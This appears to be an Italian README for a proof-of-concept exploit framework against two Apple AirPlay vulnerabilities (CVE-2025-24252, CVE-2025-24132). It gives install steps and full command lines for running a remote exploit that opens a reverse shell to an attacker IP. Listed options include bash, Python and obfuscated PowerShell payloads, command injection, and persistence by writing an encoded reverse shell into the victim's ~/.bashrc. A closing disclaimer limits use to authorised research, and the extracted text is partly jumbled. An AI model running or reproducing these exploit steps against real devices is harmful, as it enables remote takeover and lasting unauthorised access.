ekomssavior/airborne-pocPoC per CVE-2025-24252 & CVE-2025-24132
Framework PoC completo per CVE-2025-24252 e CVE-2025-24132
Di ekomsSavior |
AirBorne è un framework proof-of-concept (PoC) combinato che mira a due gravi vulnerabilità nel servizio AirPlay di Apple. Include un trigger completo di crash e un exploit funzionante per reverse shell con persistenza opzionale, listener e molteplici formati di payload — tutto in un unico script.
Cerchi la versione originale?
L'edizione legacy è ancora disponibile nel branchlegacydi questo repository.
Per visualizzarla:
git checkout legacy
.bashrc (Linux)git clone https://github.com/ekomsSavior/AirBorne-PoC.git
cd AirBorne-PoC
sudo apt update
sudo apt install -y python3-scapy netcat
Il singolo script airborne.py include entrambi i PoC e tutta la logica:
--exploit--payload--persistentsudo python3 airborne.py --exploit 24252 --interface wlan0
Richiede un'interfaccia in modalità monitor.
Avvia l'exploit completo con shell bash predefinita:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99
Scegli invece la shell Python:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --payload python
Abilita la persistenza reale su target Linux:
sudo python3 airborne.py --exploit 24132 --target 192.168.1.42 --attacker 192.168.1.99 --persistent
Solo iniezione di comandi shell
sudo python3 airborne_bash_command_injector.py --exploit 24132 --target 192.168.1.42 --command "command"
| Payload | Descrizione |
|---|---|
bash | Shell inversa bash predefinita su TCP |
python | Shell inversa basata su Python usando socket e pty |
powershell | Payload RCE completo per Windows PowerShell (offuscato) |
Quando si usa --persistent, lo script aggiungerà il payload della shell inversa codificata al file del target:
~/.bashrc
Ciò assicura che ti venga restituita una shell ogni volta che l'utente accede o viene generato un terminale.
base64 e inviate dopo il buffer overflowQuesto progetto è destinato esclusivamente a scopi educativi, etici e di ricerca autorizzata.
Lo sfruttamento non autorizzato dei sistemi è illegale e non etico.